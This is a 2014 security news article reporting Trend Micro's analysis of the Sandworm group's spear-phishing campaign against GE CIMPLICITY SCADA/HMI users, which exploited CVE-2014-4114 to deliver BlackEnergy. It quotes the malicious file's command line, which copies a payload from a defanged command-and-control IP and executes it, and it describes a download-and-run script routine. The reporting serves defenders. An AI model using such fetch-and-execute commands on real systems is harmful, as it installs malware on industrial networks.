SECURITYWEEK NETWORK: Information Security News | Infosec Island | CISO Forum   Security Experts: WRITE FOR US

SECURITYWEEK
INTERNET AND ENTERPRISE SECURITY NEWS, INSIGHTS & ANALYSIS

Subscribe | 2019 CISO Forum, Presented by Intel | ICS Cyber Security Conference | Contact

Malware & Threats   Cybercrime   Mobile & Wireless   Risk & Compliance   Security Architecture   Security Strategy   SCADA / ICS   IoT Security

Home › Virus & Malware

Sandworm Team Targeted SCADA Systems: Trend Micro

By Brian Prince on October 20, 2014

Share Tweet Recommend 11 RSS

Researchers at Trend Micro say the Sandworm team may have their eyes set on compromising SCADA-based systems.

SCADA (supervisory control and data acquisition) systems are used to control industrial processes. Last week, the Sandworm team was identified by researchers at iSight Partners as being at the center of attacks using CVE-2014-4114, a zero-day vulnerability in Microsoft Windows, as part of an attack campaign.

"After beginning an investigation into the affiliated malware samples and domains, we quickly came to realization that this group is very likely targeting SCADA-centric victims who are using GE Intelligent Platform's CIMPLICITY HMI solution suite," Trend Micro researchers Kyle Wilhoit and Jim Gogolinski explained in a blog post. "We have observed this team utilizing .cim and .bcl files as attack vectors, both of which file types are used by the CIMPLICITY software. As further proof of the malware targeting CIMPILICITY, it drops files into the CIMPLICITY installation directory using the %CIMPATH% environment variable on the victim machines."

According to Trend Micro, the attackers were observed using emails armed with a malicious attachment that is opened by the CIMPLICITY application and attempts to exploit CVE-2014-4114 in Microsoft Windows. If the attack against the system running CIMPLICITY is successful, it attempts to download the Black Energy malware on the system. The spear-phishing emails are spoofed to appear to come from Oleh Tiahnybok, a Ukrainian politician who has been critical of Russia.

One of the command and control servers that garnered Trend Micro's attention was 94[.]185[.]85[.]122.

"We pivoted off this C2, and located a file called config.bak (SHA1 hash: c931be9cd2c0bd896ebe98c9304fea9e)," the researchers explained. "This file piqued our interest right off the bat, because it is a CimEdit/CimView file. A CimEdit/CimView file is an object oriented file for GE's Cimplicity SCADA software suite, used to administer SCADA devices.

In config.bak there are two defined events - *OnOpenExecCommand* and *ScreenOpenDispatch*. According to Trend Micro, the handler of OnOpenExecCommand is the following command line:

```
cmd.exe /c "copy \\94[.]185[.]85[.]122\public\default.txt "%CIMPATH%\CimCMSafegs.exe" && start "WOW64" "%CIMPATH%\CimCMSafegs.exe"
```

"It's important to note the variable %CIMPATH% is used for the drop location of default.txt," the researchers noted. "This is a standard variable that Cimplicity uses for its installs. The handler of ScreenOpenDispatch is the subroutine start(). The subroutine start() downloads the file from hxxp://94[.]185[.]85[.]122/newsfeed.xml, saves and executes the downloaded file using cscript.exe, deletes the file after execution, and terminates the current process."

The researchers noted that even though they are seeing CIMPLICITY being used as an attack vector, there is no indication attackers are manipulating any actual SCADA systems or data. However, since human-to-machine interfaces [HMIs] are located in both the corporate and control networks, this attack could be used to target either network segment, or used to cross from the corporate to the control network, they wrote.

CVE-2014-4114 was patched by Microsoft this month with MS14-060.

Related: Hackers Breach White House Computer System

Related: FireEye Links Russia to Cyber Espionage Campaign Dating Back to 2007

Share Tweet Recommend 11 RSS

Brian Prince is a Contributing Writer for SecurityWeek.

Previous Columns by Brian Prince:

» U.S. Healthcare Companies Hardest Hit by 'Stegoloader' Malware
» CryptoWall Ransomware Cost Victims More Than $18 Million Since April 2014: FBI
» New Adobe Flash Player Flaw Shares Similarities With Previous Vulnerability: Trend Micro
» Visibility Challenges Industrial Control System Security: Survey
» Adobe Flash Player Zero-Day Exploited in Attack Campaign

Tags: NEWS & INDUSTRY   Virus & Malware

Google™ Custom Search   Search

SUBSCRIBE TO THE DAILY BRIEFING
BRIEFING
Business Email Address   SUBSCRIBE

Most Recent   Most Read

» Ransomware Is Mostly Deployed After Hours: Report
» The Other Virus Threat: Surge in COVID-Themed Cyberattacks
» Barr: FBI Probing If Foreign Gov't Behind HHS Cyber Incident
» Trend Micro Patches Two Vulnerabilities Exploited in the Wild
» Financial Services Firms Exposed 500,000 Sensitive Documents
» Tech Companies Partner to Securely Connect IoT to Cloud
» Private Application Access Firm Axis Security Emerges From Stealth
» Two Dozen Arrested for Laundering Funds From BEC, Other Scams
» Users Complain About Windows Update That Patches SMBGhost Vulnerability
» Senate Votes to Renew Surveillance Powers, Delaying Changes

Popular Topics
» Information Security News
» IT Security News
» Risk Management
» Cybercrime
» Cloud Security
» Application Security
» Smart Device Security

Security Community
» IT Security Newsletters
» ICS Cyber Security Conference
» CISO Forum, Presented by Intel
» InfosecIsland.Com

Stay Intouch
» Twitter
» Facebook
» LinkedIn Group
» Cyber Weapon Discussion Group
» RSS Feed
» Submit Tip
» Security Intelligence Group

About SecurityWeek
» Team
» Advertising
» Events
» Writing Opportunities
» Feedback
» Contact Us

Wired Business Media